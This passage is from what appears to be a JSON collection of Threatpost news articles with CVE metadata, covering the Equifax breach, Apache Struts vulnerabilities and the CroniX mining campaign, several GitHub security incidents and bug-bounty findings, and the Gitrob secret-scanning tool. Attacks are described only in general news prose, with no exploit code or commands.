organizations that took over four months to deal with CVE-2017-5638,\u201d Williams said.\n\nEquifax, which has yet to respond to a request for comment for this article or [previous](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) [articles](<https://threatpost.com/many-questions-few-answers-for-equifax-breach-victims/127886/>), remains in damage control mode.\n\nThe company on Monday said it would be changing how it generates PINs for customers who want to initiate a security freeze on their accounts. The response was presumably in response to a series of tweets that went viral on Friday night calling out Equifax for using hardcoded PINs that mirrored the date and time they were requested, a format the company allegedly has followed for more than a decade.\n\n> OMG, Equifax security freeze PINs are worse than I thought. If you froze your credit today 2:15pm ET for example, you'd get PIN 0908171415.\n> \n> \u2014 Tony Webster (@webster) [September 9, 2017](<https://twitter.com/webster/status/906346071210778625>)\n\nThe company said in an update to its site that going forward consumers placing a security freeze will be given a randomly generated PIN. Users who previously froze their credit will have to mail the company directly to change it, however.\n\n> Equifax's security freeze system is now generating random PINs. If you already got one though, you have to MAIL them to change it. Fail. [pic.twitter.com/fOrtvgkmGd](<https://t.co/fOrtvgkmGd>)\n> \n> \u2014 Tony Webster (@webster) [September 11, 2017](<https://twitter.com/webster/status/907242378829889537>)\n\nThe company on Monday also apologized for lengthy call center wait times and stressed that users who sign up for TrustedID Premier, the company\u2019s ID theft protection and credit monitoring service, will not be charged as soon as the year runs out.\n\nThe company also took a moment on Monday to reiterate that signing up for the free credit monitoring service doesn\u2019t waive a consumer\u2019s right to take legal action.\n\nThe company clarified its TrustedID Premier policy on Friday afternoon after it was pressed repeated by consumers and politicians alike. One politician in particular, Eric Schneiderman, New York\u2019s Attorney General, opened a formal investigation into the breach on Friday, calling out the company\u2019s arbitration clause policy.\n\nAs expected multiple lawsuits have been filed against the company in wake of the breach. One class action suit, filed late Thursday night, alleges Equifax \u201cnegligently failed to maintain adequate technological safeguards to protect [the plaintiffs\u2019] information from unauthorized access by hackers.\u201d The suit seeks as much as $70 billion in damages nationally.\n\n\u201cEquifax knew and should have known that failure to maintain adequate technological safeguards would eventually result in a massive data breach,\u201d the complaint also reads.\n\n_*This article was updated at 5 p.m. to include insight from Contrast Security re: CVE-2017-5638 and Equifax._\n", "cvss3": {}, "published": "2017-09-11T15:02:31", "type": "threatpost", "title": "Apache Foundation Refutes Involvement in Equifax Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-20T19:57:18", "id": "THREATPOST:477B6029652B76463B5C5B7155CDF736", "href": "https://threatpost.com/apache-foundation-refutes-involvement-in-equifax-breach/127910/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-07-03T05:58:59", "description": "It was only a matter of time before attacks were seen in the wild, and now it\u2019s happened. A known threat actor has mounted a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution vulnerability. It uses a new malware designed for persistence and stealth, dubbed CroniX.\n\nThe malware\u2019s snappy name comes from the fact that it uses the Cron tool for persistence and Xhide for launching executables with fake process names, according to researchers at F5 Labs, who analyzed the campaign.\n\nThe Apache Struts 2 namespace vulnerability ([CVE-2018-11776](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>)) was disclosed just two weeks ago by researchers at Semmle. Researchers have warned that it has the potential to open the door to even more critical havoc than the bug at the root of the [infamous Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)). That\u2019s quite a statement given that the attack resulted in the exposure of personally identifiable information (PII) of 147 million consumers, costing the Fortune 500 credit-reporting company more than $439 million in damages and leading to the resignation of several of its executives.\n\nThe new campaign makes use of one of the [proof-of-concept exploits](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) that were published on Github2 and Twitter just days after the latest flaw was publicized. Adversaries are using it to gain unauthenticated remote code-execution capabilities on targeted Linux machines in order to install a [Monero cryptomining script](<https://threatpost.com/?s=monero>), F5 researchers said.\n\n\u201cAs with many other Apache Struts 2 vulnerabilities, CVE-2018-11776 allows attackers to inject Object-Graph Navigation Language (OGNL) expressions, which might contain malicious Java code that is evaluated under several circumstances,\u201d the team explained in [a posting](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) Tuesday. \u201cThis time, the injection point is within the URL. The attacker sends a single HTTP request while injecting an OGNL expression that, once evaluated, executes shell commands to download and execute a malicious file.\u201d\n\nThey added, \u201cconsidering it\u2019s only been two weeks since this vulnerability was discovered, it\u2019s worth noting how fast attackers are weaponizing vulnerabilities and how quickly researchers are seeing them in the wild.\u201d\n\n**Analysis**\n\nTaking a closer look at the malware, the team saw the malware downloads a file called \u201cH,\u201d which turns out to be an old XHide tool for launching executables with a fake process name, the researchers said. In this case, it launches a fork of the XMRig Monero miner, with an embedded configuration (pool, username and password), while changing the process name to the more innocuous-sounding \u201cjava.\u201d\n\nThe analysts also saw that three Cron jobs are used for persistence, with two of them refreshing the backdoor every day with downloads from the C2 server. Another job downloads a daily file named \u201canacrond,\u201d which saves itself in various Cron job files around the system. In all three cases, the scripts are used to connect to the C2 server and download the deployment bash script to restart the mining process; older versions of the scripts are then deleted off the system.\n\nCroniX also a competitive malware, locating and deleting the binaries of any previously installed cryptominers so as to claim all of the CPU resources for itself, F5 found.\n\n\u201cFor some miners, the attacker decides to take a more careful approach and check each process name and process CPU usage, and then kill only those processes that utilize 60 percent or more of the CPU resources,\u201d F5 researchers said. \u201cThis is probably done to avoid killing legitimate processes as the names of these miners (crond, sshd and syslogs) typically relate to legitimate programs on a Linux system.\u201d\n\nComparing the modus operandi of the operation, F5 researchers believe the actor is the same group that was behind a previous campaign exploiting Jenkins servers via [CVE-2017-1000353](<https://devcentral.f5.com/articles/jenkins-unsafe-deserialization-vulnerability-cve-2017-1000353-30142>). That campaign was uncovered two months ago.\n\n\u201cThe malware deployment pattern\u2026similar deployed file names and the quite unique usage of the XHide process-faker made us believe that the threat actor behind the exploitation of this fresh Struts 2 vulnerability is the same one,\u201d researchers noted in the analysis.\n\nOne difference is that in the previous campaign, the threat actor used a Chinese Git website to host malicious files. Here, the attackers are using a dedicated web server hosted in the U.S., along with domain names designating the Pacific island of Palau (.pw) \u2013 believed registered by a Russian registrant.\n\nWhile cryptomining can be seen as less destructive than [wiper malware,](<https://threatpost.com/secrets-of-the-wiper-inside-the-worlds-most-destructive-malware/131836/>) [ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) or Equifax-like [mass data exfiltration](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) (all of which can be carried out using this flaw), Jeannie Warner, security manager at WhiteHat Security, noted that exploit development tends to be faster for more widely embedded flaws, highlighting the importance of patching this particular issue immediately.\n\n\u201cApache Struts is used by some of the world\u2019s largest companies,\u201d she said via email. \u201cThe more common the vulnerability, the more it helps attackers simplify their process\u2026and the easier it becomes for non-skilled hackers to compromise more websites. Methods to exploit this newest Struts vulnerability are already available online, so it is absolutely critical that all companies implement the patch immediately. There\u2019s no time to waste.\u201d\n\nMore attacks should be anticipated; in fact, while Linux machines seem to be the target for this particular CroniX effort, the F5 analysis uncovered an additional file lurking on the server that seems tailored to Microsoft\u2019s OS.\n\n\u201c[The file] at /win/checking-test.hta holds a Visual Basic script that calls a Microsoft Windows cmd to run a Powershell command on a targeted victim,\u201d researchers said. \u201cSo, it seems this threat actor is targeting Windows OS (not just Linux) using another operation hosted on the same server.\u201d\n", "cvss3": {}, "published": "2018-09-05T17:48:03", "type": "threatpost", "title": "Active Campaign Exploits Critical Apache Struts 2 Flaw in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-1000353", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-09-05T17:48:03", "id": "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "href": "https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:55:11", "description": "Github is forcing a password reset on some of its users after it detected a number of successful intrusions into its repositories using credentials compromised in other breaches.\n\n\u201cThis appears to be the result of an attacker using lists of email addresses and passwords from other online services that have been compromised in the past, and trying them on GitHub accounts,\u201d GitHub said in an [advisory](<https://github.com/blog/2190-github-security-update-reused-password-attack>) published Thursday by Shawn Davenport, GitHub VP of security. \u201cWe immediately began investigating, and found that the attacker had been able to log in to a number of GitHub accounts.\u201d\n\nGitHub said it detected late Tuesday unauthorized attempts against a large number of GitHub accounts. It stressed that GitHub itself has not been compromised.\n\nIt warns users that in addition to the exposed credentials, some personal information may have been exposed as well as lists of accessible repositories and organizations.\n\n\u201cIf your account was impacted, we are in the process of contacting you directly with information about how to reset your password and restore access to your account,\u201d GitHub said.\n\nThe source of credentials used to attack GitHub accounts is unknown. ~~A request for comment from GitHub was not returned in time for publication~~ Github declined to comment beyond what is in its advisory.\n\nIn recent weeks, a number of massive online services including Twitter, VerticalScope, LinkedIn, Tumblr, VK.com and others have been informed that login credentials are for sale in bulk on the black market.\n\nAggregator site LeakedSource has been selling access to its database of breached credentials and more than 700 million credentials have been shared with the site.\n\n\u201cOur intentions are to bring data breaches to light no matter how old, inform consumers about what data is out there, inform consumers to use unique passwords and through our business API directly help companies determine if their users are at risk for account hijacking,\u201d LeakedSource told Threatpost.\n\n[VerticalScope](<http://www.verticalscope.com/about-us/security-update.html>), whose technology powers a number of popular online forums, is the most recent victim to come to light. More than 40 million credentials are believe to be implicated, stolen from sites running outdate vBulletin software that fails to implement HTTPS.\n\n\u201cWe believe that any potential breach is limited to usernames, userids, email addresses, ip addresses and encrypted passwords of our community users,\u201d VerticalScope said in its advisory.\n\nThe VerticalScope data was shared with LeakedSource, which analyzed it and said most of the passwords were salted using the outdated MD5 algorithm and easily crackable. LeakedSource published a top 10 list of the most common passwords and an unusual number of jibberish, complex passwords were included (18atcskd2w was used more on more than 91,000 accounts) indicating that they were likely generated by a bot and used to access the various forums.\n\nIn addition to VerticalScope, LeakedSource has analyzed tens of millions of credentials belonging to Twitter, iMesh and users of other large services whose credentials were stolen at some point.\n\nExperts, meanwhile, continue to caution against [password reuse](<https://threatpost.com/no-simple-fix-for-password-reuse/118536/>). As these breaches show, using the same password to access multiple sites is becoming fodder for attackers compromising one site to use that same access at other locations on the Internet.\n\n\u201cWe know that attackers will go for the weakest link and that is any user who reuses their passwords. It\u2019s a major problem,\u201d said Christopher Hadnagy, chief human hacker at security firm Social-Engineer.\n", "cvss3": {}, "published": "2016-06-17T11:01:55", "type": "threatpost", "title": "Breached Credentials Used to Access Github Repositories", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-06-28T13:58:36", "id": "THREATPOST:375A1BFC29F5B279C4D5E461D79CE4AA", "href": "https://threatpost.com/breached-credentials-used-to-access-github-repositories/118746/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:59:23", "description": "A Russian security researcher was able to take five low severity OAuth bugs in the coding site Github and string them together to create what he calls a \u201csimple but high severity exploit\u201d that gave him unfettered access to users\u2019 private repositories.\n\nBangkok-based researcher Egor Homakov \u2013 inspired to poke around the site after learning about its [new bug bounty program last month](<http://threatpost.com/github-launches-bug-bounty-program/103974>) \u2013 discussed the bugs in a blog entry [on his site](<http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html?m=1>) on Friday.\n\nGithub went on to fix the vulnerabilities \u201cin a timely fashion\u201d according to Homakov, who said he received a $4,000 reward, the highest Github has rewarded in the bounty program\u2019s short time, for his work.\n\nThe main problem lies in the site\u2019s Gist OAuth functionality. [Gists](<https://gist.github.com/>) are Pastebin-like repositories on Github that allow coders to share bits and pieces of their work with their contemporaries, and OAuth is an authentication protocol that can allow different entities, be it a web app or a mobile app, varying degrees of access to your account.\n\nThe first vulnerability in Github Homakov noticed was that he could bypass its [redirect_uri](<https://developer.github.com/v3/oauth/#redirect-urls>) validation by imputing a /../ path traversal. A path traversal attack allows access files and directories stored outside the web root folder to be accessed by manipulating the URL. In this case when the browser is redirected, Homakov found that he can control the HTTP parameter and trick it into not fully parsing the URL, letting him redirect to any Gist page he wants.\n\nIn fact Homakov found that whatever the client sent to get an authorization token, the provider would respond with a valid access_token, a vulnerability that could be used to compromise the log-in functionality on any site that uses it.\n\nThis \u2013 the second bug \u2013 could make it easy for an attacker to hijack the authorization code used for the redirect_uri and simply apply the leaked code on real client\u2019s callback to log in under the victim\u2019s account.\n\nHomakov discovered he could leverage both bugs to trick a user into following a link to get Github to leak a code sending request to him. Using something he\u2019s nicknamed an [Evolution of Open Redirect vulnerability](<http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html>) the code sending request is sent to an image request which Homakov can then use to then log into the victim\u2019s account and secure access to private gists.\n\nGists are static pages and can even allow users to embed their own images, or at least image code. In this situation there\u2019s a certain way the code can point to a suspicious URL and acquire the victim\u2019s code.\n\nOnce in, Homakov found that the client reveals the victim\u2019s actual OAuth access_token to the user agent, something he then was able to take advantage of and use to perform API calls on behalf of the victim.\n\nSince Gist falls under the Github umbrella, Homakov found the client approves any scope it\u2019s asked automatically. That includes allowing it to carry out specially crafted URLs that can leak code, giving him access to private GitHub repositories and Gists, \u201call in stealth-mode,\u201d because the github_token belongs to the Gist client. From here Homakov has the control of the affected Github user and their Gist account.\n\nHomakov is no stranger to rooting out Github bugs; he blogged about a bug involving the way the site pushes [public keys](<http://homakov.blogspot.com/2012/03/how-to.html>) in March 2012 and a problem with the way the site [handles cookies](<http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html>) last March.\n\nGithub kicked off its bug bounty program just over a week ago by promising to award anywhere from $100 to $5,000 to researchers who discover vulnerabilities in the site or other applications like its API or Gist. As Homakov\u2019s vulnerability involved both Github and Gist and fetched $4,000, it was clearly of concern to the site, with the way the vulnerabilities \u201c[fit so nicely together](<https://twitter.com/homakov/status/431685133570031617>),\u201d impressing Github.\n", "cvss3": {}, "published": "2014-02-11T10:53:58", "type": "threatpost", "title": "Five OAuth Bugs Lead to Github Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-02-13T22:01:16", "id": "THREATPOST:1F0994F898084346360FB7C6EFEC201C", "href": "https://threatpost.com/five-oauth-bugs-lead-to-github-hack/104178/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-05-30T05:51:35", "description": "Proof-of-concept code found on the GitHub repository could allow attackers to easily take advantage of a recently identified vulnerability in the Apache Struts 2 framework. The vulnerability ([CVE-2018-11776](<https://access.redhat.com/security/cve/cve-2018-11776>)), [identified earlier this week](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>), could allow an adversary to execute remote code on targeted systems.\n\nOn Friday, proof-of-concept code was [released](<https://github.com/jas502n/St2-057>) on GitHub along with a [Python script](<https://github.com/pr4jwal/quick-scripts/blob/master/s2-057.py>) that allows for easy exploitation, according to Allan Liska, senior security architect with Recorded Future.\n\n\u201c[We have] also detected chatter in a number of Chinese and Russian underground forums around the exploitation of this vulnerability,\u201d he [wrote in a post](<https://www.recordedfuture.com/apache-struts-vulnerability-github/>).\n\nThe bug, which impacts Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16, is tied to an improper validation of input data. The Apache Software Foundation [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) the vulnerability for all supported versions of Struts 2. Users of Struts 2.3 are advised to upgrade to 2.3.35 and users of Struts 2.5 need to upgrade to 2.5.17.\n\nLiska said the Apache Struts 2 vulnerability is potentially even more damaging than a similar [2017 Apache Struts bug used to exploit Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>).\n\n\u201cUnlike that vulnerability, this one does not require any plug-ins to be present in order to exploit it, a simple well-crafted URL is enough to give an attacker access to a victim\u2019s Apache Struts installation and there is already exploit code on Github and underground forums are talking about how to exploit it. The worst part for many large organizations is that they may not even know they are vulnerable because Struts underpins a number of different systems including Oracle and Palo Alto,\u201d Liska said.\n\nThe fact that a patch is available to fix the vulnerability should give cold comfort to companies potentially impacted by the flaw.\n\n\u201cThe Equifax breach happened not because the vulnerability wasn\u2019t fixed, but because Equifax hadn\u2019t yet updated Struts to the latest version. If this is a true working PoC, then any company who hasn\u2019t had the time to update their software, will now be at even greater risk,\u201d said Oege de Moor, chief executive officer at Semmle.\n\nDe Moor said Semmle is not confirming whether the reported PoC is functional.\n\n\u201cIf it is [functioning], attackers now have a quicker way into the enterprise,\u201d de Moor wrote in a prepared statement Friday. \u201cThere is always a time lag between the announcement of a patch and a company updating its software. There are many reasons why companies can\u2019t update software like Struts immediately, as it is used for many business-critical operations. We aim to give companies a chance to stay safe by working with Apache Struts to make a coordinated disclosure.\u201d\n", "cvss3": {}, "published": "2018-08-24T22:07:17", "type": "threatpost", "title": "PoC Code Surfaces to Exploit Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-24T22:07:17", "id": "THREATPOST:2F30C320035805DB537579B86877517E", "href": "https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:55:19", "description": "When it comes to cloud computing, APIs more or less drive everything, but in the eyes of some researchers, existing security controls around them haven\u2019t kept pace.\n\nWhile individual components of a system can be secure, when that system gets deployed in the cloud it can often become insecure \u2013 and get worse at scale, according to Erik Peterson, a cloud technology researcher with Veracode. Peterson, who also refers to himself as a Cloud Security Weapons Manufacturer, described the \u2018Emergent Insecurity\u2019 of the cloud in a talk Wednesday at the Source Conference in Boston.\n\nEarly on in his presentation, Peterson recounted a [Chris Hoff](<https://twitter.com/Beaker>) quote that he claims sums up the concept: \u201cIf your security sucks now, you\u2019ll be pleasantly surprised by the lack of change when you move to cloud.\u201d\n\nIn particular Peterson warned about the dangers associated with API credential exposure, something which could easily lead to apps being rigged to spread malware, cloud infrastructure adapted for use in a Bitcoin mining operation, additional attacks being launched, and the most critical: the downloading of sensitive customer data.\n\n\u201cAPI access is the new equivalent to physical access,\u201d Peterson said, \u201cIf someone compromises your most sensitive API credential, it doesn\u2019t matter.\u201d\n\nAPI keys, which protect cloud metadata \u2013 information that usually includes Amazon Web Services (AWS) access credentials, and startup scripts \u2013 can often be the only thing standing between users and total compromise, he stressed.\n\nPeterson, who\u2019s researched cloud and architect solutions in AWS since 2009, warned that old, vintage software vulnerabilities can easily be leveraged for compromise.\n\nHe\u2019s seen it all: Server-side request forgery vulnerabilities, XML external entity vulnerabilities, command injection vulnerabilities, unintended proxy or intermediary vulnerabilities. Each one can lead to the unintended exposure of metadata, but when they all come together, it can result in a full stack hack, or what Peterson likens to \u201cdeath by 1,000 cuts.\u201d\n\nFor instance, he claims, if an attacker gained access to an API key they could escalate privileges. If they gained access to cloud DNS, it could reveal the private IP of the web server. If an attacker got access to an IP address, they could uncover an app that hasn\u2019t been tested. Once in, it\u2019s possible an attacker could do the worst, Peterson claims, clone the database for quiet extraction.\n\n\u201cLots of people are shuffling cloud data and not thinking of the flaws,\u201d Peterson said, \u201cthey all lead to exposing that user data, all that great info my system needs to startup.\u201d\n\nThere are ways to prevent a full stack hack, mainly through encryption, but common sense doesn\u2019t hurt either.\n\n\u201cNo more checking your API keys into GitHub,\u201d Peterson advised.\n\nAttackers often scour the service looking to exploit vulnerabilities and access cloud metadata API. Storing sensitive information like API keys there can be a quick lesson in futility. That still doesn\u2019t stop users from doing it though; a cursory search on the service for \u201cSECRET_ACCESS_KEY\u201d last year yielded 7,500 placeholder results, Peterson said.\n\nOne developer discovered 140 servers running on his Amazon Web Services account [last year](<https://it.slashdot.org/story/15/01/02/2342228/bots-scanning-github-to-steal-amazon-ec2-keys>) after a bot scanning GitHub sniffed out his Amazon Elastic Compute Cloud (EC2) keys.\n\nDevelopers should get off the old EC2 classic and lockdown their Simple Storage Service (S3) buckets, Peterson said Wednesday. If they aren\u2019t already, developers should log everything, especially API activity, he said, adding that some AWS tools, like [Cloudtrail](<https://aws.amazon.com/cloudtrail/>), which records AWS API calls, and [Netflix\u2019s Security Monkey](<https://threatpost.com/netflix-open-source-security-tools-solve-range-of-challenges/107931/>), which can be used to monitor and analyze AWS configurations, can be invaluable.\n\nInstead of trying to control change, developers should react to change, rethink their threat model and realize that lower priority software vulnerabilities, like SSRF, or XXE, can still be deadly, Peterson said.\n\n\u201cIf you have a key that an app is using ask yourself: What\u2019s the worst thing that could happen if it was compromised?\u201d Peterson asked aloud, \u201cIs there a path that leads to my entire environment getting deleted by some unknown entity?\u201d\n", "cvss3": {}, "published": "2016-05-19T14:20:22", "type": "threatpost", "title": "Protecting Cloud APIs Critical to Mitigating Total Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-19T18:20:22", "id": "THREATPOST:08BA9FD6E2245EA011F6C29F24929679", "href": "https://threatpost.com/protecting-cloud-apis-critical-to-mitigating-total-compromise/118197/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:56", "description": "GitHub recently awarded $18,000 to a researcher after he came across a bug in its GitHub Enterprise management console that could have resulted in remote code execution.\n\nThe company patched the vulnerability at the end of January, but news of the flaw didn\u2019t surface until this week when GitHub and Markus Fenske, a German independent pen-tester [disclosed it](<http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html>).\n\nGitHub Enterprise is an on-premises version of GitHub.com that can be used to deploy a GitHub service on their organization\u2019s local network. The vulnerability is a combination of two bugs, Fenske told Threatpost Thursday.\n\nOne problem stems from the fact that a static value was being used to cryptographically sign the Ruby on Rails session secret for the console. The secret value is supposed to be a randomly generated per-machine value used to sign the cookie, not a static value.\n\nGitHub acknowledged on Tuesday that the static secret was only supposed to be used for testing and development, but \u201can unrelated change of file permissions prevented the intended (and randomly generated) session secret from being used.\u201d\n\n\u201cFor testing purposes they replaced it with a static value and forgot to change it back,\u201d Fenske told Threatpost. In the production environment, there was a mechanism that should have replaced it with a random value. But it did not work.\u201d\n\nWhile GitHub shouldn\u2019t have been using a static secret to sign cookies that hold session data, the other problem, Fenske says, is that session data could be serialized with Marshal. [Marshal](<https://ruby-doc.org/core-2.2.2/Marshal.html>), a library that converts collections of Ruby objects into a byte stream, has a method, .load, that can return the result of converted serialized data.\n\nAs Fenske points out, [documentation](<https://ruby-doc.org/core-2.2.0/Marshal.html#method-c-load>) around Marshal.load says to \u201cnever pass untrusted data (including user supplied input) to this method,\u201d but that\u2019s what GitHub was doing.\n\nBy knowing the secret, an attacker could have forged a cookie, deserialized by Marshal.load, and tricked GitHub into running whatever code they wanted.\n\n\u201cBecause the secret is known, you can create a valid signature and pass arbitrary data to Marshal.load, which then leads to remote code execution,\u201d Fenske said.\n\nFenske says that while he sells sugar wax for hair removal by day\u2013[seriously](<https://www.bodypil.de/ueber-uns.html>)\u2013he hacks stuff by night. He founded an IT security consulting firm, Exablue, last month which he plans to use to carry out audits, pen-testing, and \u201cthe whole range\u201d going forward. He said he was inspired to poke around GitHub Enterprise after he stumbled upon a blogpost by Taiwanese hacker Orange Tsai about [a SQL injection](<http://blog.orange.tw/2017/01/bug-bounty-github-enterprise-sql-injection.html>) he found in the platform.\n\n\u201cAbout two minutes after decoding the source and opening the first file (config.ru) of the first application (the management interface), I noticed the vulnerability,\u201d Fenske said.\n\nGitHub fixed the vulnerability on Jan. 31 when it pushed out GitHub Enterprise 2.8.7. Now the service defaults to a randomly generated session secret if the initially configured session secret is not found.\n\nIt was a fairly quick turnaround for the company; the patch came only five days after Fenske reported the issue and earned him $10,000, the highest reward the company gives out through its bug bounty program, and [a spot in its Hall of Fame](<https://bounty.github.com/researchers/iblue.html>).\n\n\u200b\u201dWorking with GitHub is really nice,\u201d Fenske said, \u201cFor a company that big, their speed is amazing.\u201d\n\nThe researcher had no idea when he submitted the bug, however, that the company was in the middle of a promotional bug bounty period. The company [announced the promotion](<https://github.com/blog/2302-bug-bounty-anniversary-promotion-bigger-bounties-in-january-and-february>), which stretched from January to February, to celebrate the third anniversary of its [bug bounty program](<https://bounty.github.com/#rules>) with HackerOne.\n\nAfter he sent a draft of his disclosure to the company this week, Fenske discovered his bug was severe enough to fetch an additional $8,000 bounty and [second place in the contest](<https://github.com/blog/2332-bug-bounty-third-anniversary-wrap-up>).\n\n\u201cI was just writing my article and sent GitHub a draft to look at, and the answer came within minutes, telling me that I can publish whatever I like and that they gave me more money,\u201dhe said, \u201cI did not know about that extra contest and was very pleasantly surprised.\u201d\n\nFenske\u2019s bug was one of three GitHub fixed in its Enterprise product to qualify for additional bug bounty money. The company also fixed two separate SAML authentication bypass bugs in the service.\n\nFenske said the latest release of GitHub Enterprise uses a secret that\u2019s 16 random bytes written in hex.\n\n\u201cI quickly calculated that cracking it will take about 469142742208 gigayears on a 8-GPU instance (for comparison: The Sun will be gone in 7.7 gigayears). I think it\u2019s secure now.\u201d\n", "cvss3": {}, "published": "2017-03-17T09:00:04", "type": "threatpost", "title": "GitHub Code Execution Bug Fetches $18,000 Bounty", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-03-16T23:38:35", "id": "THREATPOST:E984089A4842B564B374B807AF915A44", "href": "https://threatpost.com/github-code-execution-bug-fetches-18000-bounty/124378/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:34", "description": "Free online code repositories such as GitHub provide a valuable collaboration service for enterprise developers. But it\u2019s also a trove of potentially sensitive company and project information that\u2019s likely to warrant attention from hackers.\n\nAn application security specialist from Berlin has developed a tool he hopes can keep companies a step ahead. [Gitrob](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>) is an open source intelligence command-line tool that mines GitHub for files belonging to an organization and runs them against pre-determined patterns looking for potentially sensitive information that isn\u2019t meant for public consumption.\n\nIts developer Michael Henriksen, who does application security and code auditing for SoundCloud, says Gitrob starts off by using GitHub\u2019s public API to query a Github organization\u2019s list of public members.\n\n\u201cWhen the list of members is obtained, it queries GitHub again for each member that returns a list of their public repositories,\u201d Henriksen told Threatopst. \u201cThe contents of the repositories are never downloaded to the machine, it simply uses GitHub\u2019s API again to obtain a list of file names. When clicking on a file in the web interface to see its contents, it is fetched from GitHub\u2019s servers.\u201d\n\nHenriksen said he has built a number of Observers, which act as Gitrob plug-ins, that flag files matching certain patterns. Organization members, repositories and files are saved to a PostgreSQL database for analysis before a Sinatra webserver is started locally in order to serve a web app that presents the data for analysis, which must be conducted manually.\n\n\u201cAll the files are sent through these observers, one by one, and the observers can then decorate or make changes to the file\u2019s database record, before it is saved to the database,\u201d Henriksen said. \u201cRight now, Gitrob actually only contains one observer which will flag files that match [patterns of interesting files](<https://github.com/michenriksen/gitrob/blob/master/patterns.json>), but the design makes it easy to introduce new logic to look for other things. The patterns are built in to the tool itself.\u201d\n\nSecurity analysts inside an enterprise should feel at home using Gitrob, Henriksen said, but cautioned that the tool will point out a default set of potentially sensitive items. An analyst would have to manually comb through them to determine whether those files should be public.\n\n> OSINT #Gitrob mines GitHub for sensitive information that isn\u2019t meant for public consumption.\n> \n> [Tweet](<https://twitter.com/share?url=https%3A%2F%2Fthreatpost.com%2Fgitrob-combs-github-repositories-for-secret-company-data%2F110380%2F&text=OSINT+%23Gitrob+mines+GitHub+for+sensitive+information+that+isn%26%238217%3Bt+meant+for+public+consumption.>)\n\n\u201cA security team in an organization can use Gitrob to periodically scan their repositories for sensitive files that might be checked in,\u201d Henriksen said. \u201cThe current version is not really suitable to run in an automated fashion, so it would have to be run manually, but I am planning to change that in the future so that it can be run automatically and report to somewhere when new things are found.\u201d\n\nHenriksen said he tested Gitrob against a number of GitHub repositories belonging to companies of different sizes; he found a variety of information using Gitrob from username-password combinations, email addresses, internal system mappings and other information that could be used in phishing campaigns or other social engineering attacks. Henriksen said he notified affected organizations; most were appreciative he said.\n\n\u201cI am not aware of any tool that specifically targets GitHub organizations like Gitrob does,\u201d Henriksen said. \u201cPeople have been finding sensitive files with GitHub\u2019s search functionality for a while (kind of like Google dorks for Github), but I think Gitrob is the first tool that makes the task of finding sensitive files within an organization very easy.\u201d\n\nInstallation instructions and requirements can be found on [his Github page](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>).\n\n[_Image courtesy othree._](<https://www.flickr.com/photos/othree/>)\n", "cvss3": {}, "published": "2015-01-13T12:55:07", "type": "threatpost", "title": "Gitrob Combs Github Repositories for Secret Company Data", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-01-16T13:26:31", "id": "THREATPOST:BFFC84BE9B4393A9F11FFBECEC203286", "href": "https://threatpost.com/gitrob-combs-github-repositories-for-secret-company-data/110380/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:56:47", "description": "An audit of the SSH keys associated with more than a million GitHub accounts shows that some users have weak, easily factorable keys and many more are using keys that are still vulnerable to the Debian OpenSSL bug disclosed seven years ago.\n\nThe public SSH keys that users associate with their GitHub account are visible to other users, a feature that enables users to share those keys with others. Last December researcher Ben Cox decided to collect as many of those keys as he could and see what he could find out about them. He began the project on Dec. 27 and by Jan. 9 he had collected more than 1.3 million SSH keys.\n\n\u201cI took a stab at this in 2013 but found that too many people didn\u2019t use GitHub in SSH mode and thus had no keys set. This time however (with a 